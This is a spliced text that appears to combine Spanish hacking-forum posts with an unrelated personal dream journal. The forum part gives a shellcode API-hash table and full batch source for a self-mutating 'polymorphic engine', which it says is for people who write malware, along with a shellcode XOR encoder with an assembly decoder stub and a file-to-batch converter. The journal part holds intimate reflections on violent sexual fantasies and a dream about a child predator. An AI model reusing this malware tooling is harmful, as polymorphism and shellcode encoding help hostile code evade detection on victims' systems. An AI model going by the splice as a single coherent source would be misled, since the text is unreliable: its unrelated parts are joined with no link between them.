0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject" 

0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread" 

0x6F721347, "ntdll.dll!RtlExitUserThread" 

0x23E38427, "advapi32.dll!RevertToSelf"

Saludos!

:: B2bat (binary to bat)
:: Author: lShadowl;The Shadow
:: Realese date:24/8/09
:: Realese version:1.0
:: Tested in Win Xp pro sp3
:: File size limit: 64kB
:: Info: Converts any file into a batch script.
:: Syntax: b2b <in file> <out script>

       @echo off
:b2b
setlocal enabledelayedexpansion&& set ms=%2&& set mos=%1
if not defined ms (echo Syntax: b2b ^<in file^> ^<out script^>&& goto:eof) else (echo.Working...)
echo.exit|cmd/K prompt $_rcx$_$_q>$
echo set cx=%%1>CX.bat
debug %1<$ | find "CX">_.bat&& call _
set/a ecx=0x100+0x%cx%
set hexstr=0123456789ABCDEF&& set sz=
:loop2
set/a ths=%ecx% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %ecx% GEQ 16 (set /A ecx=%ecx%/16&& goto:loop2) else (goto:kg)
:evals
set sz=%1%sz%&& goto:eof
:kg
echo.exit|cmd/K prompt $_d 100 %sz%$_q>$
type $ | debug %1>$.t
(echo set ff=createobject("scripting.filesystemobject"^)&& echo set rr=ff.opentextfile("$.t",1^)&& echo aa = rr.readall
echo rr.close&& echo r1 = Replace(aa,">",""^)&& echo r2 = Replace(r1,"<",""^)&& echo r3 = Replace(r2,"&",""^)
echo r4 = Replace(r3,"|",""^)&& echo set bb=ff.opentextfile("$.t",2^)&& echo bb.write r4)>rp.vbs&& rp.vbs
for /f "tokens=1,* delims=]" %%A in ('"type $.t|find /n /v """') do (set "current=%%B"

    if defined current (call set current=!!current:-= !!&& echo !current!>>$) else echo.>>$)
echo.exit|cmd/K prompt $_::Script by B2bat - B2bat by lShadowl$_       @echo off$_($_echo n b2bat.>%ms%
for /f "tokens=* skip=7 delims=%%a" %%a in ($) do (set csl=%%a&& echo echo e!csl:~5,53!>>%ms%)
:brk
echo exit|cmd/K prompt $_echo.$_echo rcx$_echo %sz%$_echo w$_echo q$_echo.$_)$Gda.t$A$A rem >>%ms%
echo.exit|cmd/K prompt $_debug$Lda.t$Gnul$_ren b2bat.exi %mos%$A$A rem >>%ms%
echo.Done.
goto:eof

Ejemplo:

>b2b tongue.gif tongue.bat

Resultante:

::Script by B2bat - B2bat by lShadowl
       @echo off
(
echo n b2bat.exit
echo e0100  47 49 46 38 39 61 0F 00 0F 00 D5 00 00 00 00 00
echo e0110  CC 99 00 70 66 00 52 42 00 66 66 66 EE E1 00 EC
echo e0120  D1 00 E8 BA 00 B0 69 00 23 1C 00 D6 9C 00 FF 00
echo e0130  00 86 86 86 BF A6 00 68 54 00 11 00 00 FF D6 00
echo e0140  FF FF 00 FF F8 00 32 28 00 FF E6 00 C5 9E 00 73
echo e0150  5C 00 11 10 00 26 23 00 7F 71 00 81 37 00 F0 B5
echo e0160  00 F5 C4 00 3C 00 00 CC A3 00 51 48 00 FF CC 00
echo e0170  FF F0 00 7E 6A 00 C1 74 00 E2 C8 00 C7 B3 00 FF
echo e0180  DD 00 62 5A 00 D0 B4 00 80 73 00 59 47 00 1B 16
echo e0190  00 33 33 00 EC BD 00 80 69 00 08 00 00 18 00 00
echo e01A0  7F 7C 00 56 51 00 6D 57 00 CC 99 00 E0 9E 00 79
echo e01B0  61 00 F8 CE 00 99 99 99 00 00 00 00 00 00 00 00
echo e01C0  00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04
echo e01D0  05 14 00 38 00 2C 00 00 00 00 0F 00 0F 00 00 06
echo e01E0  A3 40 9C 10 47 18 5C 00 97 0F 61 38 64 4C 56 22
echo e01F0  94 A1 24 C0 B0 18 CD 8B E3 66 32 51 42 A1 C2 E9
echo e0200  82 C5 4D 2C 20 88 F7 2B 69 CB 58 C4 04 27 BD 6E
echo e0210  47 24 85 4B D1 06 02 89 00 19 21 29 00 31 12 21
echo e0220  27 1F 17 1E 7D 00 8D 14 8D 00 60 25 47 73 20 2E
echo e0230  00 22 14 83 29 14 14 24 48 8B 7D 10 10 01 26 01
echo e0240  0A 14 26 0D 17 03 68 20 8D 0F 00 2F 00 08 5D 32
echo e0250  03 04 72 7D 20 23 0F 0B 1D 1A 10 2D 7A 66 0E 95
echo e0260  1B 0F 30 00 23 20 2A 13 42 0C AC BB 35 23 35 07
echo e0270  2A 64 4D 13 17 33 15 2D 01 33 2B 13 65 4C 45 47
echo e0280  AC 4B 43 41 00 3B 85
echo et

echo.
echo rcx
echo 286
echo w
echo q
echo.
)>da.t&& rem exit

debug<da.t>nul
ren b2bat.exi tongue.gif&& rem exit

Saludos!

 ::Polimorphic Engine by lShadowl %ini%
  @set sdjf=fictsoehnd %ini%
  @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
  @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
  @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
  @%egnkv%off %ini%
  @%agnvl: =%local enabledelayedexpansion %ini%
%egnkv%Mutando... %ini%
%fsdhf%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"<%0>>$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%egnkv%%a%|%fsdhf% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%fsdhf%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%egnkv%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%egnkv%kdflekj.close>>asjdhau.vbs %ini%
%egnkv%Randomize>>asjdhau.vbs %ini%
%egnkv%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%sjdfhjs = Replace(askdajs,"sdjf",ahqiaohe)>>asjdhau.vbs %ini%
%egnkv%lasdaod = Replace(sjdfhjs,"agnvl",jdfasuu)>>asjdhau.vbs %ini%
%egnkv%skdnmxi = Replace(lasdaod,"egnkv",dwudhqw)>>asjdhau.vbs %ini%
%egnkv%sjsabwu = Replace(skdnmxi,"fsdhf",asdwdkw)>>asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
:: %m7%
:: %m6%
:: %m1%
:: %m2%
:: %m4%
:: %m9%
:: %m3%
:: %m0%
:: %m8%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%fsdhf%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%agnvl% a=%a%o %mcmp%
goto :EOF)%mcmp%
%agnvl% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%agnvl%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Para ver como funciona os pondre mis variantes del code despues de haberlo ejecutado dos veces:

 ::Polimorphic Engine by lShadowl %ini%
  @set pkseh=fictsoehnd %ini%
  @set cneso=%pkseh:~4,1%%pkseh:~6,1%%pkseh:~3,1% %ini%
  @%cneso%hfdjc=%pkseh:~6,1%%pkseh:~2,1%%pkseh:~7,1%%pkseh:~5,1% %ini%
  @%cneso%vchff=%pkseh:~0,2%%pkseh:~8,2% %ini%
  @%hfdjc%off %ini%
  @%cneso: =%local enabledelayedexpansion %ini%
%hfdjc%Mutando... %ini%
%vchff%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%vchff%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%vchff%"m%r: =%"<%0>>$ %ini%
%cneso%/a rdnmm=%random%*9999999 %ini%
%hfdjc%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%cneso%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%hfdjc%%a%|%vchff% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%vchff%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%hfdjc%%cneso%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%hfdjc%%cneso%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%hfdjc%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%hfdjc%kdflekj.close>>asjdhau.vbs %ini%
%hfdjc%Randomize>>asjdhau.vbs %ini%
%hfdjc%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%sjdfhjs = Replace(askdajs,"pkseh",ahqiaohe)>>asjdhau.vbs %ini%
%hfdjc%lasdaod = Replace(sjdfhjs,"cneso",jdfasuu)>>asjdhau.vbs %ini%
%hfdjc%skdnmxi = Replace(lasdaod,"hfdjc",dwudhqw)>>asjdhau.vbs %ini%
%hfdjc%sjsabwu = Replace(skdnmxi,"vchff",asdwdkw)>>asjdhau.vbs %ini%
%hfdjc%%cneso%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%hfdjc%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
::-1313031124 %m5%
:: %m1%
::2020451641 %m1%
:: %m8%
::-1739870728 %m8%
:: %m7%
::-443934897 %m7%
:: %m3%
::-1117740673 %m3%
:: %m2%
::-888192539 %m2%
:: %m0%
::1245290346 %m0%
:: %m6%
::-1909547966 %m6%
:: %m4%
::-1847546953 %m4%
:: %m9%
::191549157 %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%vchff%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%cneso% a=%a%o %mcmp%
goto :EOF)%mcmp%
%cneso% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%cneso%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

 ::Polimorphic Engine by lShadowl %ini%
  @set kjefv=fictsoehnd %ini%
  @set eiotf=%kjefv:~4,1%%kjefv:~6,1%%kjefv:~3,1% %ini%
  @%eiotf%gugip=%kjefv:~6,1%%kjefv:~2,1%%kjefv:~7,1%%kjefv:~5,1% %ini%
  @%eiotf%mgvmh=%kjefv:~0,2%%kjefv:~8,2% %ini%
  @%gugip%off %ini%
  @%eiotf: =%local enabledelayedexpansion %ini%
%gugip%Mutando... %ini%
%mgvmh%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%mgvmh%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%mgvmh%"m%r: =%"<%0>>$ %ini%
%eiotf%/a rdnmm=%random%*9999999 %ini%
%gugip%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%eiotf%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%gugip%%a%|%mgvmh% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%mgvmh%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%gugip%%eiotf%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%gugip%%eiotf%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%gugip%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%gugip%kdflekj.close>>asjdhau.vbs %ini%
%gugip%Randomize>>asjdhau.vbs %ini%
%gugip%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%sjdfhjs = Replace(askdajs,"kjefv",ahqiaohe)>>asjdhau.vbs %ini%
%gugip%lasdaod = Replace(sjdfhjs,"eiotf",jdfasuu)>>asjdhau.vbs %ini%
%gugip%skdnmxi = Replace(lasdaod,"gugip",dwudhqw)>>asjdhau.vbs %ini%
%gugip%sjsabwu = Replace(skdnmxi,"mgvmh",asdwdkw)>>asjdhau.vbs %ini%
%gugip%%eiotf%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%gugip%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m7%
::-443934897 %m7%
::525484065 %m7%
:: %m1%
::2020451641 %m1%
::-2018256975 %m1%
:: %m9%
::191549157 %m9%
::1635032111 %m9%
:: %m2%
::-888192539 %m2%
::1875225734 %m2%
:: %m3%
::-1117740673 %m3%
::1975806665 %m3%
:: %m0%
::1245290346 %m0%
::-39677251 %m0%
:: %m8%
::-1739870728 %m8%
::-568902610 %m8%
:: %m6%
::-1909547966 %m6%
::-1999741604 %m6%
:: %m4%
::-1847546953 %m4%
::1442194522 %m4%
:: %m5%
::-1313031124 %m5%
::-1207869762 %m5%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%mgvmh%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%eiotf% a=%a%o %mcmp%
goto :EOF)%mcmp%
%eiotf% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%eiotf%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Como se puede ver el code demuestra el uso de las tecnicas de:

transpocision de codigo: notese el comportamiento de las lineas de codigo dentro de las lineas “:: CODIGO POLIMORFICO [INICIO] %ini%” y “:: CODIGO POLIMORFICO [FIN] %mcmp%”

incremento de tama?o: despues de cada ejecucion el codigo cambia de tama?o aumentando un numero aleatorio de bytes a?adiendo lineas como: “::-1739870728 %m8% “

variables aleatorias: notese que las cuatro primeras variables que se declaran en:

   @set sdjf=fictsoehnd %ini%
   @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
   @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
   @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%

osea, sdjf, agnvl, egnkv y fsdhf, que contienen las cadenas “fictsoehnd” “set” “echo” y “find”, cambian en cada ejecucion del programa por medio de un sencillo script en vbs que se ejecuta al final.

Para los que les gusta codear malware, esto les puede servir de algo.

Saludos!

:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x<byte en hexadecimal>. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&& set xor_value=9

:encode
set sc_sz=0&& set i=2&& set/a xor_value+=0x01&& set encoded_shellcode=
echo =^>  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&& set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&& goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^>  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%>sc.shellcode
echo =^>  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a">nul
	if !errorlevel!==0 (echo =^<    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^>  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<

goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF

El codigo esta bastante entendible con etiquetas explicativas y los mensajes de salida del proceso.

Aqui una captura de salida del script trabajando:

Saludos!

5/22/07 61

Last dream first; most vivid.

It’s morning and I’m waiting for the bus to come for Connor. Scott’s not a presence in this dream. The house is not the house we currently live in. There’s a big tree out front. I wonder if it’s the St. Louis house, but there are some things that are incompatible about it too.

So I’m waiting with Connor and the bus pulls up, but it turns out it’s not Connor’s. Connor has walked toward it, then turns around and comes back to the house. I assume that must have been the middle school bus. The driver holds up his hand with two fingers raised which I take to mean that the elementary bus will be coming in 2 minutes. I see another child approaching the stop and nearly ask him in to wait, but at the last second don’t. And for some reason I don’t send Connor out while this kid is out there; something holds me back. It might even be that I just decide to take Connor to school; I can’t remember if the other bus comes and Connor gets on it, or if I just give him a ride and then as I return to my house I find something in the mail. Now I remember I was on foot. It was like I’d come from a nearby park and found the letter. It is a warning and description of the kid, naming him a name I recognize clearly as notorious in the dream—something like Todd Shackleford, or maybe Dan something. The letter shows a photo of our house, and the vantage point from the street, and how the juxtaposition of the knots on the two trees out front when viewed from the street prevented him from being in a position where he’d have had Connor in his power. In other words, it had only been the slimmest of chances that had kept him from taking Connor, and he was a known child rapist and torturer. I felt very weak at how close that had been to such a hideous catastrophe. Later Connor is home and there are a number of his school friends with him, as well as two older guys. I demand to know how old they are, and one of them is downcast as he answers, obviously knowing how it will sound to me when he tells me that he’s 22. I’m adamant that there is no reason that a 22 year old would be wanting to hang out with 10 year olds and insist that he and his friend leave. There is no way that I can allow Connor and his friends to go out unsupervised with this guy. I even go so far as to explain to him the letter I’d received about the child killer as a way of telling him why my guard is so strong and I won’t bend on this. I am actually physically trying to force him and his friend out of the door. I’m pushing, and grabbing legs. I’m not frightened, just annoyed. A bus pulls up outside and I call to the driver if he’d call his dispatch and report this and the guys go outside and I close the door and lock it. Then I see I have mail. It’s the same letter, and I wonder why they would have sent it to me again, but then I remember I’d responded to the letter before to tell them how grateful I was that they’d let me know, and this was a response to that. They’d sent some candy, just some cheap stuff like tootsie rolls and things that kids seem to like. The pervasive feeling was one of narrow escape, and great relief.

The dream earlier was that

I was at the gyn’s, getting my yearly exam. For whatever reason Gary was present. My bladder is full, it’s sort of like those ultra-sounds where I was supposed to come in with a full bladder to assist in the visualization of the babies, but I’m not pregnant in this dream. I’m supposed to void at some point, but there is no absorbent cloth under me, just the hard surface of the examining table and I ask just to clarify if I’m supposed to void right there and now. Then the nurse, or maybe it’s Gary hold a paper cup up to my urethra and I’m supposed to go in that. I can see in m mind’s eye the pink of the lips of my vulva, but I’m not embarrassed, there isn’t anything prurient about this. Then the dr’s doing his exam (it is my real life gyn, dr. D) and is talking about antibiotic suppositories as a sort of prophylaxis. I am trying to keep all my questions in mind and one of them is if there are side effects to this, such as bacterial immunity developing to long-term use. Gary breaks in then and says, ‘no’ and I’m very irritated at him answering a question I’d just addressed to my dr and irritated that he’d presume to know the answer to a question that I’d asked a professional.

5/22/07 1148 Tues

{Aww, gee. OK, I suddenly get it: that just as a child I believed that telling the truth meant admitting to anything anyone accused me of, throughout my life I’ve believed the ‘right’ path for me is the very one I don’t want to take. Somehow, so early, I understood the world in these terms: that whatever thing that my parents forbade, or was associated with something they’d forbid, was wrong, in the moral sense. I also believed that being on the “right” (morally) path meant doing what I didn’t want to do. I believed it was what God wanted, and what my parents wanted. What was unpleasant for me. It meant viewing myself in the most critical light. I believed that was the ‘right’ path to follow, and relinquishing it was a huge and very, very long term effort. I think I only really am just getting it this moment. My childish mind understood that whatever way displeased others was wrong, and whatever way seemed most natural to me was wrong. And, therefore, to follow God’s path, I had to do what was difficult for me. So my feelings had to go. Otherwise I’d suffer too much from forcing myself down a path that was poison for me. I still hurt a lot though, anyway. Does this mean the suffering would have been truly unbearable had I not buried my feelings? That’s swallowing a big one there, the belief that whatever feels arduous and unnatural is the direction I need to choose, in order to follow god, as my parents taught me. I can even think of Bible verses that seemed to support that.

And I’m getting it, that when I consider the realm of decision-making and consider its parts and infrastructure, I can see on a micro-scale level how elements of decision come together to form one, at the most elemental of levels. And a base that I understood the world from was that I was guilty of whatever I was accused of, and that the way that felt natural for me to go was the absolute wrong way. Only the way that took a punitive sort of coersion was the “right” way to go.}
I just wrote the above in my vol 28, but then decided it was too much of an intrusion and so put it here. It just came to me unbidden as I read what I was writing in 1978, that I had a deeply held decision that whatever felt easy, in terms of decision, actions, and how I viewed myself, was wrong in moral terms. That left to myself I would choose unraveling and destruction. I would make the wrong decisions, that is I’d decide wrong.

So basically I had my Emotional Body as my inner guide, or I had Christianity as it was understood in early 60’s America. My Emotional Body frequently was at odds with my parent’s interpretation of Christianity. And it seemed I had to choose. As a child my mind concluded in the most general of ways that whatever I wanted that was different from my parents was wrong morally, and that in order to do what was right I was going to have to act contrary to my emotional body. That the “right” way by necessity had to be unpleasant, like church, or bad-tasting medicine. I’ve suffered a lot too whenever I dared stray from that position. Feared punishment…often it came, though not so much as penance for straying down my Emotional Body’s path, but because I didn’t have enough of my Emotional Body with me to make good decisions that might have steered me away. Again I would guess that what I then called ‘feelings’ were really just a shadow of the range and capability of my Emotional Body. I often felt at the mercy of them; I theorize because they were so inflated with anxiety that they were unpleasant, erratic, and out of reach for the fine levels of refinement that I could have if my Emotional Body were available to me. Loose cannons. They were probably left from what was split off. The Shadow self, that still managed somehow to guide me back to Here. I wonder if it’s too much of a generalization in the other direction to pose that all the experiences of self that I’ve condemned within myself, accused myself of, and feared being, all those things are expressions of the Emotional Body in the only way possible. It just could not stay buried; these sort of out-of-control feelings were the much mutated expression of the true range.

So it seems Jung may have called it right, at least as far as I’m concerned. He could have been describing me when he theorized that there is a shadow self that is made up of the disowned parts of the psyche (disowned in order to survive in this world).

There still is a way that I try to disown parts of myself. I can feel a “partition” in my mind—a way I feel that I hold some very cruel elements at bay by starving them of attention.

In the sexual fantasies—I’ve had different reasons over the years for being troubled by them. As a child I felt ashamed because they seemed so wrong, in the moral sense, and I didn’t understand why the viciousness of the perpetrators in what they did to their victim turned me on. Or the satisfying of this viciousness, at the expense of the victim. And that rested on the notion that somehow the perpetrators were taking the very worst thing away from the victim, or making her the very worst, dirty to the core. Some sort of feeling of ultimate badness where the person is left worth nothing and forever haunted by the memories that these guys had ‘seen’ her this way and could think of it any time they wanted. But there comes a time in my mind where even that seems flat. This ultimate badness of shame that can be visited on someone, and the taking pleasure in that shame—even that has a place where it bottoms out, and somehow that fact seems to neutralize it all. So what? Part of the triumph of the attackers is that they have wrested this admission of shame from the girl—in other words she’s agreed that yes, she’s shamed. But again, the victim has the power to negate their satisfaction by saying, “so what?” It only has ‘value’ if the victim agrees to it. And continues to agree to it. Can withdraw her agreement at any time? And at the core, actually, no matter what has happened to the victim, or how exquisitely they’ve tried to shame her, she can negate it all by saying, “so what”. I guess that’s the point of this, that it’s really only uniquely horrible, more so than a mugging, say, to the extent that the victim agrees it is. What just now crossed my mind is how brave though, the victim must be because there’s a whole lot of volume flowing downstream that says she’s shamed. There’s a compounding of it, a multiplier effect, to imagine that whoever is listening in the court room might be getting some vicarious pleasure from picturing her in these postures, and can get that again, anytime they wish, by thinking about it. That there’s something that satisfies everyone, in the notion of a forcible rape…I suppose because of it focusing attention on our body parts that our culture has deemed taboo. I don’t know that I’m the only one who has had this experience of sexuality…that there’s a certain aggression in it within the psyche, that resents being denied it and finds pleasure in taking it or witnessing it being taken.

However I found that masturbating to those images were like chewing gum losing flavor too.

So this was what came to mind when I said that about a ‘partition’, and the feeling of some sort of energy expenditure to maintain it. As I started to say, these fantasies have troubled me for a long time. I’ve only had the most tepid of responses to the idea of acting them out tho, with a real partner. I don’t think I really want that stuff done to me in that spirit. As I got older and moved through and beyond Christianity then it wasn’t because of the moral implications of me indulging in thinking these thoughts so much as the thought that there was something wrong with me for having them. Then later that they were interfering somehow with my sexual experience.

The point is, maybe, that we, meaning humans, seem to charge some objects, and some activities (in which sense the activity itself becomes an object) with extra significance, and it’s really just convention that maintains this. Collective belief. When in truth an object is an object that is made of matter in this physical world. It’s just interesting, the human trait of associating things, and then believing it.

1322—back from a break

I keep getting brief hits about that dream, the one of the sinister presence at the bus stop. I’d not let Connor be alone out there with him, even though he’d looked like he wasn’t much older than Connor because he wasn’t a real big guy. I’d just assumed he had missed the bus for the middle school and so was going to ride the elementary school bus in. It wasn’t even like I had a fearful response toward him; it had just seemed overwhelmingly reasonable to keep Connor inside. I hadn’t felt alarm, and so I hadn’t kept Connor in out of alarm. It had just seemed important to have him in.

It’s like the hits I get are of the fireplace mantel, maybe. Or a wall, maybe with a clock on it.

I got an image of eros and psyche— sort of archetypal male and archetypal female generative forces. The drive for union.

I like the way that when I experience certain feelings currently, usually drivers, I think, I can recognize them from having read about them, and I can see that it’s possible to lower the intensity of them—read the information that makes them up instead of react to it as a bloc.

I can see how what drove me then still is active now, but I can also see that the light of understanding that’s been shed on them from reading also opens up my options in the present.

